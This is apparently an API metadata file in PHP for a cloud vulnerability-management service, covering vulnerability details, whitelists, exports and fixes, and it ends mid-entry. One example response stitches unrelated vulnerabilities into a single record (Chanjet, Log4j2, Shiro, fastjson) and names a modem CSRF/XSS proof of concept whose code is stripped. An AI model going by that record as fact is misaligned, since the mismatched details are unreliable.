'The public IP address of the server.'."\n" ."\n" .'> This parameter is deprecated. You can call the [DescribeVulList](~~DescribeVulList~~) operation to query the instance that is affected by the vulnerability.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => '47.114.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n" ."\n" .'> This parameter is deprecated. You can call the [DescribeVulList](~~DescribeVulList~~) operation to query the instance that is affected by the vulnerability.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => '172.19.XX.XX', ], 'TargetId' => [ 'description' => 'The ID of the asset that is scanned.'."\n" ."\n" .'> This parameter is deprecated. You can call the [DescribeVulList](~~DescribeVulList~~) operation to query the instance that is affected by the vulnerability.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'm-bp17m0pc0xprzbwo****', ], 'TargetName' => [ 'description' => 'The name of the asset that is scanned.'."\n" ."\n" .'> This parameter is deprecated. You can call the [DescribeVulList](~~DescribeVulList~~) operation to query the instance that is affected by the vulnerability.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'frontend', ], 'CveLink' => [ 'description' => 'The link to the CVE details.'."\n", 'type' => 'string', 'example' => 'https://avd.aliyun.com/detail/CVE-2022-1184', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InnerError', 'errorMessage' => 'InnerError', ], [ 'errorCode' => 'DataExists', 'errorMessage' => '%s data exist', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], [ 'errorCode' => 'MissingType', 'errorMessage' => 'Type is mandatory for this action.', ], [ 'errorCode' => 'MissingName', 'errorMessage' => 'Name is mandatory for this action.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"EDA40EA3-6265-5900-AD99-C83E4F109CA8\\",\\n \\"Cves\\": [\\n {\\n \\"Summary\\": \\"Chanjet T-Plus is an Internet business management software. There is an unauthorized access vulnerability in one of its interfaces disclosed on the Internet. Attackers can construct malicious requests to upload malicious files to execute arbitrary code and control the server.\\",\\n \\"Complexity\\": \\"LOW\\",\\n \\"Product\\": \\"Log4j2\\",\\n \\"PocCreateTime\\": 1554189334000,\\n \\"CveId\\": \\"CVE-2019-9167\\",\\n \\"CnvdId\\": \\"CNVD-2019-9167\\",\\n \\"Reference\\": \\"https://example.com\\",\\n \\"CvssScore\\": \\"10.0\\",\\n \\"Vendor\\": \\"Apache\\",\\n \\"PocDisclosureTime\\": 1554189334000,\\n \\"Classify\\": \\"remote_code_execution\\",\\n \\"CvssVector\\": \\"AV:N/AC:L/Au:N/C:C/I:C/A:C\\",\\n \\"VulLevel\\": \\"serious\\",\\n \\"ReleaseTime\\": 1554189334000,\\n \\"Title\\": \\"Chanjet T-Plus SetupAccount/Upload. Aspx file upload vulnerability(CNVD-2022-60632)\\",\\n \\"Solution\\": \\"

At present, Chanjet has urgently released a vulnerability patch to fix the vulnerability. CNVD recommends affected units and users to upgrade to the latest version immediately:

↵

https://www.chanjetvip.com/product/goods/goods-detail?id=53aaa40295d458e44f5d3ce5

↵

At the same time, organizations and users affected by the vulnerability are requested to immediately follow the steps below to conduct self-inspection and repair work:

↵
    ↵

  1. User self-check steps:↵
    Check whether website/bin/load.aspx.cdcab7d2.compiled, website/bin/App_Web_load.aspx.cdcab7d2.dll, and tplus/Load.aspx files exist locally. If they exist, it means that they have been poisoned, and you must reinstall the system and install the product. patch.

    ↵
    2. ↵

  2. Non-poisoned users please:↵
    1) Update the latest product patch.↵
    2) Install anti-virus software and update the virus database in time.↵
    3) Upgrade the lower version of IIS and Nginx to IIS10.0 and Windows 2016.↵
    4) Local installation customers need to confirm whether the backup file is complete as soon as possible, and do off-site backup. Customers on the cloud should enable the mirroring function in time.↵
    5) Users who fail to update the patch in time can contact Chanjet technical support and take temporary preventive measures such as deleting files.

    ↵
    3. ↵

  3. Poisoned users please:↵
    1) Check whether the server has taken regular snapshots or backups. If so, you can restore data through snapshots or backups.↵
    2) Contact Chanjet technical support to confirm whether it has the conditions and operation methods to restore data from backup files.

    ↵
    4. ↵
↵

If you have any technical problems, please contact Chanjet technical support: 4006600566-9

\\",\\n \\"Content\\": \\"Apache Shiro is a user authentication and authorization framework for a wide range of rights management applications.↵Recently, Apache Shiro released version 1.7.0, which fixes the Apache Shiro authentication bypass vulnerability (CVE-2020-17510).↵Attackers can bypass Shiro\'s authentication using malicious requests containing payloads.↵↵Related bugs:↵CVE-2020-17510 Shiro < 1.7.0 Validation Bypass Vulnerability↵CVE-2020-13933 Shiro < 1.6.0 Validation Bypass Vulnerability↵CVE-2020-11989 Shiro < 1.5.3 Validation Bypass Vulnerability↵CVE-2020-1957 Shiro < 1.5.2 Validation Bypass Vulnerability↵CVE-2016-6802 Shiro < 1.3.2 Validation Bypass Vulnerability\\\\nCheck whether the fastjson version currently running on the system is in the affected version and whether safeMode is configured to disable autoType. If it is in the affected version and safeMode is not configured to disable autoType, the vulnerability is considered to exist.\\",\\n \\"Poc\\": \\"NewDomain.html\\\\nThe x and y values will need to be changed accordingly\\\\n\\\\n

Authenticated Stored CSRF/XSS - Vonage Modem

\\\\n
\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\\\" />\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n
\\\\n\\\\n \\\\nNewKeyword.html\\\\nThe x and y values will need to be changed accordingly\\\\n\\\\n

Authenticated Stored CSRF/XSS - Vonage Modem

\\\\n
\\\\n\\\\n\\\\n\\\\n\\\\n\\\\\\" / >\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n
\\\\n\\",\\n \\"Classifys\\": [\\n {\\n \\"Description\\": \\"privilege escalation\\",\\n \\"Classify\\": \\"remote_code_execution\\",\\n \\"DemoVideoUrl\\": \\"https://example.com\\"\\n }\\n ],\\n \\"OtherId\\": \\"CVE-2020-8597\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"InternetIp\\": \\"47.114.XX.XX\\",\\n \\"IntranetIp\\": \\"172.19.XX.XX\\",\\n \\"TargetId\\": \\"m-bp17m0pc0xprzbwo****\\",\\n \\"TargetName\\": \\"frontend\\",\\n \\"CveLink\\": \\"https://avd.aliyun.com/detail/CVE-2022-1184\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 200\\n \\n \\n 无\\n 10.0\\n impact:remote_code_execution\\n https://help.aliyun.com/noticelist/articleid/1060971232.html\\n \\n http://cloud.video.taobao.com//play/u/2246983437/p/1/e/6/t/1/50084922304.mp4\\n 远程代码执行\\n impact:remote_code_execution\\n \\n Apache Log4j2 远程代码执行漏洞（CVE-2021-44228）\\n CVE-2021-44228\\n AVD-2021-920285\\n 1638979200000\\n 安骑士检测方法：\\n\\n检查当前系统运行中的log4j-core版本是否在受影响版本内且jar包内JndiLookup.class文件是否被删除，若在影响版本内且JndiLookup.class文件存在就认为存在该漏洞。\\n\\n受影响应用版本：Apache Log4j 2.0 < 2.3.1，2.4<2.12.2， 2.13.0< 2.16.0\\n Apache Log4j2是一款优秀的Java日志框架。2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。\\n\\n2021年12月10日，阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过\\n2021年12月15日，Apache 官方发布Log4j 2.16.0 以及 2.12.2 版本，修复 CVE-2021-45046 Apache Log4j 拒绝服务漏洞\\n2021年12月17日，Apache 官方将 CVE-2021-45046 漏洞 CVSS 评分从 3.7 分上调到 9.0 分\\n\\n阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。\\n <p>1、排查应用是否引入了Apache log4j-core Jar包，若存在依赖引入，且在受影响版本范围内，则可能存在漏洞影响。同时为了避免在Apache Log4j 2.15.0版本中某些自定义配置而可能导致的JNDI注入或拒绝服务攻击，请尽快升级Apache Log4j2所有相关应用到 2.16.0 或者 2.12.2 及其以上版本，地址 https://logging.apache.org/log4j/2.x/download.html 。</p>\\n<p>2、对于 Java 8 及其以上用户，建议升级 Apache Log4j2 至 2.16.0 及以上版本。</p>\\n<p>3、对于 Java 7 用户，建议升级至 Apache Log4j 2.12.2 及以上版本，该版本为安全版本，用于解决兼容性问题。</p>\\n<p>4、对于其余暂时无法升级版本的用户，建议删除JndiLookup，可用以下命令 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class</p>\\n<p>5、升级已知受影响的应用及组件，如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink</p>\\n<p>6、其余临时缓解方案可参见 https://logging.apache.org/log4j/2.x/security.html 。目前已有安全版本，强烈建议不要采用临时缓解方案进行防御。</p>\\n\\n serious\\n \\n \\n EDA40EA3-6265-5900-AD99-C83E4F109CA8\\n true\\n","errorExample":""}]', 'title' => 'DescribeVulDetails', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeVulWhitelist' => [ 'summary' => 'Queries the whitelist of vulnerabilities by page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page 1. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 10.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'Lang', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '74F97EF7-B543-43FD-A4E9-18456731F9C5', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'VulWhitelists' => [ 'description' => 'An array that consists of information about the whitelist of vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the vulnerability.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the vulnerability.'."\n", 'type' => 'string', 'example' => 'cve', ], 'TargetInfo' => [ 'description' => 'The application scope of the rule. The value is a JSON string that contains the following fields:'."\n" ."\n" .'* **type**: the type of the assets to which the rule is applied. Valid values:'."\n" ."\n" .' * **Uuid**: server'."\n" .' * **GroupId**: server group'."\n" ."\n" .'* **groupIds**: the ID of the server group'."\n" ."\n" .'* **uuids**: the UUID of the server'."\n" ."\n" .'> If this field is empty, the rule is applied to all assets.'."\n", 'type' => 'string', 'example' => '{"type":"GroupId","groupIds":[916****],"uuids":[]}', ], 'AliasName' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'example' => 'RHSA-2017:3263: curl security update', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'oval:com.redhat.rhsa:def:20173263', ], 'Reason' => [ 'description' => 'The reason why the vulnerability is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'ignore', ], 'Id' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'string', 'example' => '1275', ], 'Whitelist' => [ 'description' => 'The information about the vulnerability. The value of this parameter is in the JSON format. Valid values:'."\n" ."\n" .'* **name**: the name of the vulnerability'."\n" .'* **type**: the type of the vulnerability.'."\n" .'* **aliasName**: the alias of the vulnerability'."\n", 'type' => 'string', 'example' => '[{'."\n" .'"name":"oval:com.redhat.rhsa:def:20173263",'."\n" .'"type":"cve",'."\n" .'"aliasName":"RHSA-2017:3263: curl security update"'."\n" .'}]', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"74F97EF7-B543-43FD-A4E9-18456731F9C5\\",\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 2,\\n \\"VulWhitelists\\": [\\n {\\n \\"Type\\": \\"cve\\",\\n \\"TargetInfo\\": \\"{\\\\\\"type\\\\\\":\\\\\\"GroupId\\\\\\",\\\\\\"groupIds\\\\\\":[916****],\\\\\\"uuids\\\\\\":[]}\\",\\n \\"AliasName\\": \\"RHSA-2017:3263: curl security update\\",\\n \\"Name\\": \\"oval:com.redhat.rhsa:def:20173263\\",\\n \\"Reason\\": \\"ignore\\",\\n \\"Id\\": \\"1275\\",\\n \\"Whitelist\\": \\"[{\\\\n\\\\\\"name\\\\\\":\\\\\\"oval:com.redhat.rhsa:def:20173263\\\\\\",\\\\n\\\\\\"type\\\\\\":\\\\\\"cve\\\\\\",\\\\n\\\\\\"aliasName\\\\\\":\\\\\\"RHSA-2017:3263: curl security update\\\\\\"\\\\n}]\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n\\n1\\n\\n oval:com.redhat.rhsa:def:20173263\\n RHSA-2017:3263: curl security update\\n cve\\n 暂不修复\\n\\n3\\n74F97EF7-B543-43FD-A4E9-18456731F9C5\\n1\\n","errorExample":""}]', 'title' => 'DescribeVulWhitelist', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ExportVul' => [ 'summary' => 'Exports vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '103350', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* zh: Chinese'."\n" .'* en: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability that you want to export. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **app**: application vulnerability'."\n" .'* **emg**: urgent vulnerability'."\n", 'type' => 'string', 'required' => true, 'example' => 'app', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server on which the vulnerabilities are detected. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '1587bedb-fdb4-48c4-9330-****', ], ], [ 'name' => 'AliasName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'RHSA-2019:3197-Important: sudo security update', ], ], [ 'name' => 'Necessity', 'in' => 'query', 'schema' => [ 'description' => 'The priority to fix the vulnerability. Separate multiple priorities with commas (,). Valid values:'."\n" ."\n" .'* **asap**: high'."\n" .'* **later**: medium'."\n" .'* **nntf**: low'."\n", 'type' => 'string', 'required' => false, 'example' => 'asap', ], ], [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the vulnerability is fixed. Valid values:'."\n" ."\n" .'* **y**: The vulnerability is fixed.'."\n" .'* **n**: The vulnerability is not fixed.'."\n", 'type' => 'string', 'required' => false, 'example' => 'n', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The server group ID of the server on which the vulnerabilities are detected.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of server groups.'."\n", 'type' => 'string', 'required' => false, 'example' => '8834224', ], ], [ 'name' => 'SearchTags', 'in' => 'query', 'schema' => [ 'description' => 'The tag that is used to search for the vulnerabilities. Valid values:'."\n" ."\n" .'* Restart required'."\n" .'* Remote exploitation'."\n" .'* Exploit exists'."\n" .'* Exploitable'."\n" .'* Privilege escalation'."\n" .'* Code execution'."\n", 'type' => 'string', 'required' => false, 'example' => 'Restart required', ], ], [ 'name' => 'AttachTypes', 'in' => 'query', 'schema' => [ 'description' => 'The additional type of the vulnerabilities. You need to specify this parameter when you query application vulnerabilities. If you set the Type parameter to app, you must specify this parameter. Set the value to **sca**.'."\n" ."\n" .'> If this parameter is set to **sca**, **application vulnerabilities** and the **vulnerabilities that are detected based on software component analysis** are queried. If you do not specify this parameter, only application vulnerabilities are queried.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sca', ], ], [ 'name' => 'VpcInstanceIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the virtual private cloud (VPC) in which the vulnerabilities are detected. Separate multiple IDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeVpcList](~~DescribeVpcList~~) operation to query the IDs of VPCs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ins-133****,ins-5414****', ], ], [ 'name' => 'CveId', 'in' => 'query', 'schema' => [ 'description' => 'The Common Vulnerabilities and Exposures (CVE) ID of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'CVE-2022-44702', ], ], [ 'name' => 'Path', 'in' => 'query', 'schema' => [ 'description' => 'The path of the process that is affected by the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => '/etc/test', ], ], [ 'name' => 'ContainerName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the container that is affected by the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'xxljob-7b87597b99-mcskr', ], ], [ 'name' => 'ImageName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image that is affected by the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'container-***:****', ], ], [ 'name' => 'CreateTsStart', 'in' => 'query', 'schema' => [ 'description' => 'The start time of the first scan.'."\n" ."\n" .'> This value is a UNIX timestamp representing the number of milliseconds that have elapsed since January 1, 1970, 00:00:00 UTC.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1696128144000', ], ], [ 'name' => 'CreateTsEnd', 'in' => 'query', 'schema' => [ 'description' => 'The end time of the first scan.'."\n" ."\n" .'> This value is a UNIX timestamp representing the number of milliseconds that have elapsed since January 1, 1970, 00:00:00 UTC.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1696186800000', ], ], [ 'name' => 'RaspDefend', 'in' => 'query', 'schema' => [ 'description' => 'Indicates whether the application protection feature is supported. Valid values:'."\n" ."\n" .'- **0**: no.'."\n" ."\n" .'- **1**: yes.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'VulEntityList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '漏洞组件信息列表', 'type' => 'array', 'items' => [ 'title' => '漏洞组件信息', 'type' => 'object', 'properties' => [ 'EntityVersion' => [ 'title' => '组件版本', 'type' => 'string', 'example' => '1.0.0', ], 'EntityName' => [ 'title' => '组件名称', 'type' => 'string', 'example' => 'Ollama', ], ], ], 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'E1FAB2B8-DF4D-55DF-BC3D-5C3CA6FD5B13', ], 'FileName' => [ 'description' => 'The name of the exported file.'."\n", 'type' => 'string', 'example' => 'app_20211101', ], 'Id' => [ 'description' => 'The ID of the exported file.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '81634', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'FreeVersionNotPermit', 'errorMessage' => 'Free version is not permitted.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"E1FAB2B8-DF4D-55DF-BC3D-5C3CA6FD5B13\\",\\n \\"FileName\\": \\"app_20211101\\",\\n \\"Id\\": 81634\\n}","errorExample":""},{"type":"xml","example":"\\n E1FAB2B8-DF4D-55DF-BC3D-5C3CA6FD5B13\\n app_20211101\\n 81634\\n","errorExample":""}]', 'title' => 'ExportVul', 'description' => 'You can call the ExportVul operation to export the following types of vulnerabilities: Linux software vulnerabilities, Windows system vulnerabilities, Web-CMS vulnerabilities, application vulnerabilities, and urgent vulnerabilities.'."\n" ."\n" .'You can use this operation together with the DescribeVulExportInfo operation. After you call the ExportVul operation to create a vulnerability export task, you can call the DescribeVulExportInfo operation to query the progress of the task by specifying the ID of the task.'."\n" ."\n" .'### Limits'."\n" ."\n" .'You can call this operation up to 10 times per second per account. If the number of the calls per second exceeds the limit, throttling is triggered. As a result, your business may be affected. We recommend that you take note of the limit when you call this operation.'."\n", ], 'DescribeVulExportInfo' => [ 'summary' => 'Queries the progress of a task that exports vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ExportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the task.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '14356', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Link' => [ 'description' => 'The URL at which you can download the exported Excel file.'."\n", 'type' => 'string', 'example' => 'http://www.aliyun.com', ], 'Progress' => [ 'description' => 'The progress percentage of the task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4C1AE3F3-18FA-4108-BXXX-AFA1A032756C', ], 'CurrentCount' => [ 'description' => 'The number of exported entries.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Message' => [ 'description' => 'The message that shows the results of the task. The value is fixed as **success**, which indicates that the task is complete.'."\n", 'type' => 'string', 'example' => 'success', ], 'FileName' => [ 'description' => 'The name of the exported Excel file.'."\n", 'type' => 'string', 'example' => 'app_20210917', ], 'TotalCount' => [ 'description' => 'The total number of entries in the exported Excel file.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'ExportStatus' => [ 'description' => 'The status of the export task. Valid values:'."\n" ."\n" .'* **init**: The task is being initialized.'."\n" .'* **exporting**: The task is in progress.'."\n" .'* **success**: The task is complete.'."\n", 'type' => 'string', 'example' => 'success', ], 'Id' => [ 'description' => 'The ID of the task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '14356', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Link\\": \\"http://www.aliyun.com\\",\\n \\"Progress\\": 100,\\n \\"RequestId\\": \\"4C1AE3F3-18FA-4108-BXXX-AFA1A032756C\\",\\n \\"CurrentCount\\": 1,\\n \\"Message\\": \\"success\\",\\n \\"FileName\\": \\"app_20210917\\",\\n \\"TotalCount\\": 10,\\n \\"ExportStatus\\": \\"success\\",\\n \\"Id\\": 14356\\n}","errorExample":""},{"type":"xml","example":"\\n http://www.aliyun.com\\n 100\\n 4C1AE3F3-18FA-4108-BXXX-AFA1A032756C\\n 1\\n success\\n app_20210917\\n 10\\n success\\n 14356\\n","errorExample":""}]', 'title' => 'DescribeVulExportInfo', 'description' => 'If the value of ExportStatus is success, the URL at which you can download the exported Excel file is returned.'."\n", 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'OperateVuls' => [ 'summary' => 'Fixes Linux software vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '92418', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerabilities that you want to fix. Set the value to **cve**, which indicates Linux software vulnerabilities.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cve', ], ], [ 'name' => 'OperateType', 'in' => 'query', 'schema' => [ 'description' => 'The operation on the vulnerabilities. Set the value to **vul_fix**, which indicates vulnerability fixing.'."\n", 'type' => 'string', 'required' => true, 'example' => 'vul_fix', ], ], [ 'name' => 'VulNames', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The names of the vulnerabilities that you want to fix.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the vulnerability that you want to fix.'."\n", 'type' => 'string', 'required' => false, 'example' => 'oval:com.ubuntu.xenial:def:2020355240000000', ], 'required' => true, 'maxItems' => 10000, ], ], [ 'name' => 'Uuids', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of servers for which you want to fix vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server for which you want to fix vulnerabilities.'."\n", 'type' => 'string', 'required' => false, 'example' => '14f14260-xxxx-46ea-a157-451983a1****', ], 'required' => true, 'maxItems' => 10000, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C2677612-7207-4AEB-BD48-8BA528F86777', ], ], ], ], ], 'errorCodes' => [ 200 => [ [ 'errorCode' => 'operateVulError', 'errorMessage' => 'Operate vul is error.', ], ], 400 => [ [ 'errorCode' => 'InsufficientAuthorizationCount', 'errorMessage' => 'Authorization count is insufficient.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"C2677612-7207-4AEB-BD48-8BA528F86777\\"\\n}","errorExample":""},{"type":"xml","example":"\\n C2677612-7207-4AEB-BD48-8BA528F86777\\n","errorExample":""}]', 'title' => 'OperateVuls', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'GetVulStatistics' => [ 'summary' => 'Queries the statistics on vulnerabilities in asset groups.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '10.12.XX.XX', ], ], [ 'name' => 'GroupIdList', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group. Separate multiple IDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of asset groups.'."\n", 'type' => 'string', 'required' => true, 'example' => '9997897', ], ], [ 'name' => 'TypeList', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability whose statistics you want to query. Separate multiple types with commas (,). Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **emg**: urgent vulnerability'."\n" .'* **app**: vulnerability detected by using a web scanner'."\n" .'* **sca**: vulnerability detected based on software component analysis'."\n", 'type' => 'string', 'required' => true, 'example' => 'cve', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account 